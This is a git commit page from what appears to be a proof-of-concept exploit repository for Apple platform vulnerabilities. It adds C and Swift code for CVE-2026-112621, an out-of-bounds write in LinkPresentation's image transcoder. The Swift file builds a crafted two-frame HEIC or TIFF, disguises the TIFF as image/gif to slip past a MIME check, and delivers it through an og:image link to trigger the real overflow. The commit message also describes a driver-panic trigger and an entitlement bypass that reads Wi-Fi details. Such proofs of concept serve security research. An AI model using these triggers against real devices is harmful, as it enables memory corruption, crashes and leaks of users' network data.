v2.1 — CVE-2026-112705 / 112621 / 84636
Three public research arrivals, each with a .swift and .c POC folder: - CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire); C twin carries a --force-host gate because a frame submit reaches the same driver that panicked the dev Mac, so the host only builds it - CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 -> 256x48 container, loopback og:image delivery, LPMetadataProvider; probe checks the pool math, fire runs the real transcode; C twin reproduces the 48-row clear against a guard page (32,768 B past the 16,384-byte pool) - CVE-2026-84636 (configd dynamic store): SSID + router MAC without the wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo 56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA 2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).
This commit is contained in:
1 parent
7949c7ce9f
commit
ed682e859b
12 files changed
+1336
-21
No files matched your search
@@ -0,0 +1,150 @@
|
||||
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
|
||||
// C twin of the Swift POC: build the two-frame container, then reproduce the exact
|
||||
// draw that goes out of bounds.
|
||||
//
|
||||
// The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride,
|
||||
// 16384 bytes of pixel data) and then draws the current frame with the frame's own
|
||||
// height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row
|
||||
// buffer.
|
||||
//
|
||||
// This file places the 16-row buffer directly against a PROT_NONE page, catches the
|
||||
// first faulting store, and reports the distance past the pool. It never corrupts
|
||||
// live memory and never touches the kernel.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \
|
||||
// -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112621 [out.tiff]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <setjmp.h>
|
||||
#include <sys/mman.h>
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static sigjmp_buf jump;
|
||||
static volatile sig_atomic_t faulted;
|
||||
static volatile uintptr_t fault_addr;
|
||||
|
||||
static void on_fault(int sig, siginfo_t *info, void *ctx) {
|
||||
(void)sig; (void)ctx;
|
||||
faulted = 1;
|
||||
fault_addr = (uintptr_t)info->si_addr;
|
||||
siglongjmp(jump, 1);
|
||||
}
|
||||
|
||||
static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) {
|
||||
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
|
||||
CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs,
|
||||
kCGImageAlphaPremultipliedLast);
|
||||
CGContextSetRGBFillColor(ctx, r, g, b, 1.0);
|
||||
CGContextFillRect(ctx, CGRectMake(0, 0, w, h));
|
||||
CGImageRef img = CGBitmapContextCreateImage(ctx);
|
||||
CGContextRelease(ctx);
|
||||
CGColorSpaceRelease(cs);
|
||||
return img;
|
||||
}
|
||||
|
||||
static CFMutableDataRef build_tiff(void) {
|
||||
CFMutableDataRef data = CFDataCreateMutable(NULL, 0);
|
||||
CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL);
|
||||
if (!dest) { CFRelease(data); return NULL; }
|
||||
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
|
||||
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
|
||||
CGImageDestinationAddImage(dest, f0, NULL);
|
||||
CGImageDestinationAddImage(dest, f1, NULL);
|
||||
int ok = CGImageDestinationFinalize(dest);
|
||||
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
|
||||
if (!ok) { CFRelease(data); return NULL; }
|
||||
return data;
|
||||
}
|
||||
|
||||
static void probe(CFDataRef data) {
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL);
|
||||
if (!src) { printf("ImageIO refused the container\n"); return; }
|
||||
size_t count = CGImageSourceGetCount(src);
|
||||
printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data));
|
||||
for (size_t i = 0; i < count && i < 2; i++) {
|
||||
CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL);
|
||||
if (img) {
|
||||
printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img));
|
||||
CGImageRelease(img);
|
||||
}
|
||||
}
|
||||
CFRelease(src);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
CFMutableDataRef tiff = build_tiff();
|
||||
if (!tiff) { printf("could not build the two-frame container\n"); return 1; }
|
||||
probe(tiff);
|
||||
if (argc > 1) {
|
||||
CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1],
|
||||
strlen(argv[1]), false);
|
||||
CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL);
|
||||
if (dest) {
|
||||
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
|
||||
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
|
||||
CGImageDestinationAddImage(dest, f0, NULL);
|
||||
CGImageDestinationAddImage(dest, f1, NULL);
|
||||
CGImageDestinationFinalize(dest);
|
||||
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
|
||||
printf("seed written: %s\n", argv[1]);
|
||||
}
|
||||
CFRelease(url);
|
||||
}
|
||||
|
||||
// Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1.
|
||||
size_t page = (size_t)sysconf(_SC_PAGESIZE);
|
||||
size_t stride = 1024; // 256 px * 4 bytes, frame 0 row
|
||||
size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes
|
||||
size_t pool_pages = (pool + page - 1) / page;
|
||||
size_t total = (pool_pages + 1) * page;
|
||||
|
||||
unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANON, -1, 0);
|
||||
if (base == MAP_FAILED) { perror("mmap"); return 1; }
|
||||
unsigned char *guard = base + pool_pages * page;
|
||||
if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; }
|
||||
|
||||
struct sigaction sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sa_sigaction = on_fault;
|
||||
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sigaction(SIGBUS, &sa, NULL);
|
||||
sigaction(SIGSEGV, &sa, NULL);
|
||||
|
||||
// The buffer the pool handed out, with exactly pool bytes before the guard.
|
||||
unsigned char *buf = guard - pool;
|
||||
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
|
||||
CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs,
|
||||
kCGImageAlphaPremultipliedLast);
|
||||
printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx);
|
||||
if (!ctx) {
|
||||
printf("context rejected — width/stride mismatch would stop the trigger here\n");
|
||||
munmap(base, total);
|
||||
CFRelease(tiff);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool);
|
||||
if (sigsetjmp(jump, 1) == 0) {
|
||||
CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48));
|
||||
printf("no fault — the write stayed inside the mapping\n");
|
||||
} else {
|
||||
printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard));
|
||||
printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n",
|
||||
48 * stride - pool);
|
||||
}
|
||||
|
||||
CGContextRelease(ctx);
|
||||
CGColorSpaceRelease(cs);
|
||||
munmap(base, total);
|
||||
CFRelease(tiff);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
|
||||
// Out-of-bounds write when a later frame is taller than the first.
|
||||
//
|
||||
// -[LPAnimatedImageTranscoder _transcodeWithCompletionHandler:] reads the pixel size
|
||||
// of image 0 and configures the video writer with it. encodeNextFrame then takes the
|
||||
// draw height from the current decoded frame while the destination is the pooled
|
||||
// buffer sized for frame 0. CGContextClearRect writes the taller frame's rows past
|
||||
// the pool.
|
||||
//
|
||||
// Delivery is the public path: LPMetadataProvider fetches a page, reads og:image, and
|
||||
// feeds the multi-frame file to the transcoder. This file serves that page from
|
||||
// loopback, so no network is involved.
|
||||
//
|
||||
// 256x16 then 256x48 keeps the width equal (the pool's row stride must accept the
|
||||
// width) and only grows the height.
|
||||
//
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112621 CVE-2026-112621.swift \
|
||||
// -framework ImageIO -framework CoreGraphics -framework LinkPresentation \
|
||||
// -framework Network -framework UniformTypeIdentifiers
|
||||
// Run: ./cve-2026-112621
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
import CoreGraphics
|
||||
import LinkPresentation
|
||||
import Network
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
let firstSize = (256, 16)
|
||||
let laterSize = (256, 48)
|
||||
|
||||
func solid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage {
|
||||
let cs = CGColorSpaceCreateDeviceRGB()
|
||||
let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
|
||||
bytesPerRow: w * 4, space: cs,
|
||||
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue)!
|
||||
ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
|
||||
ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
|
||||
return ctx.makeImage()!
|
||||
}
|
||||
|
||||
// Two independently sized frames in one container. HEIC is the format from the
|
||||
// advisory; TIFF is the fallback that ImageIO still decodes as independent pages.
|
||||
func multiFrame(_ type: UTType) -> Data? {
|
||||
let data = NSMutableData()
|
||||
guard let dest = CGImageDestinationCreateWithData(data, type.identifier as CFString, 2, nil) else {
|
||||
return nil
|
||||
}
|
||||
CGImageDestinationAddImage(dest, solid(firstSize.0, firstSize.1, 0.90, 0.10, 0.10), nil)
|
||||
CGImageDestinationAddImage(dest, solid(laterSize.0, laterSize.1, 0.10, 0.20, 0.90), nil)
|
||||
guard CGImageDestinationFinalize(dest) else { return nil }
|
||||
return data as Data
|
||||
}
|
||||
|
||||
func probe(_ data: Data, _ label: String) {
|
||||
guard let src = CGImageSourceCreateWithData(data as CFData, nil) else {
|
||||
print("\(label): ImageIO refused the container"); return
|
||||
}
|
||||
let count = CGImageSourceGetCount(src)
|
||||
print("\(label): count=\(count) bytes=\(data.count)")
|
||||
for i in 0..<min(2, count) {
|
||||
if let img = CGImageSourceCreateImageAtIndex(src, i, nil) {
|
||||
print(" frame[\(i)] \(img.width)x\(img.height)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── loopback server: one HTML page with og:image, one image endpoint ──
|
||||
final class LocalServer {
|
||||
private let listener: NWListener
|
||||
private let image: Data
|
||||
private let mime: String
|
||||
private(set) var queued = 0
|
||||
|
||||
init(image: Data, mime: String) throws {
|
||||
self.image = image
|
||||
self.mime = mime
|
||||
let params = NWParameters.tcp
|
||||
params.allowLocalEndpointReuse = true
|
||||
listener = try NWListener(using: params, on: .any)
|
||||
}
|
||||
|
||||
func start() throws -> UInt16 {
|
||||
let ready = DispatchSemaphore(value: 0)
|
||||
listener.stateUpdateHandler = { state in
|
||||
if case .ready = state { ready.signal() }
|
||||
}
|
||||
listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
|
||||
listener.start(queue: .global())
|
||||
_ = ready.wait(timeout: .now() + 5)
|
||||
return listener.port?.rawValue ?? 0
|
||||
}
|
||||
|
||||
private func serve(_ conn: NWConnection) {
|
||||
conn.start(queue: .global())
|
||||
conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
|
||||
guard let self, let data, let head = String(data: data, encoding: .utf8) else {
|
||||
conn.cancel(); return
|
||||
}
|
||||
let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
|
||||
self.queued += 1
|
||||
if path.hasPrefix("/pic") {
|
||||
self.respond(conn, body: self.image, type: self.mime)
|
||||
} else {
|
||||
let page = """
|
||||
<!doctype html><html><head><meta charset="utf-8">
|
||||
<meta property="og:title" content="CVE-2026-112621">
|
||||
<meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
|
||||
</head><body>cve-2026-112621</body></html>
|
||||
"""
|
||||
self.respond(conn, body: Data(page.utf8), type: "text/html")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private func respond(_ conn: NWConnection, body: Data, type: String) {
|
||||
var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
|
||||
out.append(body)
|
||||
conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
|
||||
}
|
||||
|
||||
func stop() { listener.cancel() }
|
||||
}
|
||||
|
||||
// HEIC first; if the platform cannot encode it, a TIFF served as image/gif still
|
||||
// passes -[LPImage _isAnimated] (MIME allowlist) and ImageIO decodes it by content.
|
||||
var image = multiFrame(.heic)
|
||||
var mime = "image/heic"
|
||||
if image == nil {
|
||||
image = multiFrame(.tiff)
|
||||
mime = "image/gif"
|
||||
}
|
||||
guard let payload = image else {
|
||||
print("could not build a multi-frame container"); exit(1)
|
||||
}
|
||||
probe(payload, "seed (\(mime))")
|
||||
|
||||
let server = try LocalServer(image: payload, mime: mime)
|
||||
let port = try server.start()
|
||||
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
|
||||
print("server did not bind"); exit(1)
|
||||
}
|
||||
print("serving \(url) — ct=\(mime)")
|
||||
|
||||
var done = false
|
||||
var title: String?
|
||||
var error: String?
|
||||
|
||||
DispatchQueue.global().async {
|
||||
let provider = LPMetadataProvider()
|
||||
provider.timeout = 20
|
||||
provider.startFetchingMetadata(for: url) { meta, err in
|
||||
title = meta?.title
|
||||
error = err?.localizedDescription
|
||||
done = true
|
||||
}
|
||||
}
|
||||
|
||||
let deadline = Date().addingTimeInterval(40)
|
||||
while !done && Date() < deadline {
|
||||
RunLoop.main.run(until: Date().addingTimeInterval(0.1))
|
||||
}
|
||||
|
||||
if !done {
|
||||
print("metadata fetch timed out")
|
||||
} else if let error {
|
||||
print("metadata error: \(error)")
|
||||
} else {
|
||||
print("metadata title: \(title ?? "(none)")")
|
||||
print("survived — the transcoder did not take the taller frame (fixed build)")
|
||||
}
|
||||
print("image requests: \(server.queued)")
|
||||
server.stop()
|
||||
Reference in new issue
Block a user